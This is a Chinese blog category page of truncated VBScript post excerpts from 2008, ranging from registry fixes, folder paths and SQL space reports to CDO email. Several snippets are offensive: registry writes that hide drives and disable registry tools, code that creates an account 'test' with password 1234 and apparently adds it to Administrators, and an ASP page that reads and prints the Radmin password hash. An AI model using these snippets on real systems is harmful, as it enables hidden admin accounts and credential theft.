您正在查看 "vb&vbscript" 分类下的文章 2009-07-29 15:28 新建文本文档.txt (填写以下内容)
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\WScript.Shell]
@="Windows Script Host Shell Object"
[HKEY_CLASSES_ROOT\WScript.Shell\CLSID]
@="{72C24DD5-D70A-438B-8A42-98424B88AFB8}"
[HKEY_CLASSES_ROOT\WScript.Shell\CurVer]
@="WScript.Shell.1"
保存并重命名为 WScript.reg
双击 WScript.reg |
2008-07-29 10:17 2008-07-27 22:00 2008-07-24 16:27 Author:Trajon.BWL
From:http://hi.baidu.com/biweilun
版权所有，转载请注明出处。
先看个最简单的vbs操作注册表的例子：
Set Wsh=CreateObject("Wscript.Shell")
Wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD"
Wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools |
2008-07-22 9:09 使用ADSI的Winnt对象，Windows2000后面的系统都属于NT系列
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户 |
2008-07-16 17:36 经常有一些想学习vbs的朋友问我一些问题，昨天又有一个朋友问我取路径的问题，今天就biweilun就一并写出来，希望对大家有点帮助，呵呵
1、用FSO的SpecialFolder常数
FSO的SpecialFolder常数依赖的函数为GetSpecialFolder(SpecialFolder)，很遗憾的是，SpecialFolder常数只有3个，0-2，0对应WindowsFolder，就是你的Windows文件夹，如果你的系统装在C盘的话，那么返回的就是"C:\Windows"这个路径字符串。1对应SystemFolder，GetSpecialFolder(1)返回"C:\Windows\system32"。2代表临时文件夹， |
2008-07-16 16:41 启用：regsvr32 scrrun.dll
禁用：regsvr32 /u scrrun.dll
scrrun.dll
scrrun - scrrun.dll - DLL文件信息
DLL 文件： scrrun 或者 scrrun.dll
DLL 名称： Microsoft Script Runtime
描述：
scrrun.dll用于阅读和编写脚本和文本文件。
属于： Microsoft Script Runtime
系统 DLL文件： 是
常见错误： File Not Found, Missing File, Exception Errors
PS：个人觉得站长看这个很好，禁用你的FSO，就算入侵者通过漏洞入侵了你的服务器并上传了 Webshel |
2008-07-14 17:47 'script to get SQL DATA/LOG Space Used, Space unused, and Space Free
'Author: Felipe Ferreira, Daniel Magrini
'Date: 05/07/07
'Version 2,0
'@@TO CHANGE::: SERVERNAME\Instance, domain\user, password AND DATABSE!
'____________________________________________________________________________
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set oFSO = CreateObject("Scripting.FilesyStemObject")
ou |
2008-07-05 8:11 What a easy thing!
<%
'========================================Main======================================
Set WSH= Server.CreateObject("Wscript.shell")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
ParameterArray=WSH.Regread(RadminPath & Parameter )
Response.write "The Result of Radmin Hash"
Response.write "<br><br>"
|
2008-06-28 19:18 我这里介绍两种方法，很可惜都不是我原创的
第一种：用CDO
function Send_mail(YourAccount,YourPassword,EmailAdd1,EmailAdd2,MailTitle,MailBody,MailAttachment)
'YourAccount：你的邮件帐号 YourPassword:你的邮件密码 EmailAdd1:主要邮件地址 EmailAdd2: 备用邮件地址
'MailTitle:邮件主题 MailBody:邮件正文 MailAttachment:邮件附件
YourID=Split(YourAccount, "@", -1, vbTextCompare) '文本比较
MSSpace = "http://schemas.microso |
| | |
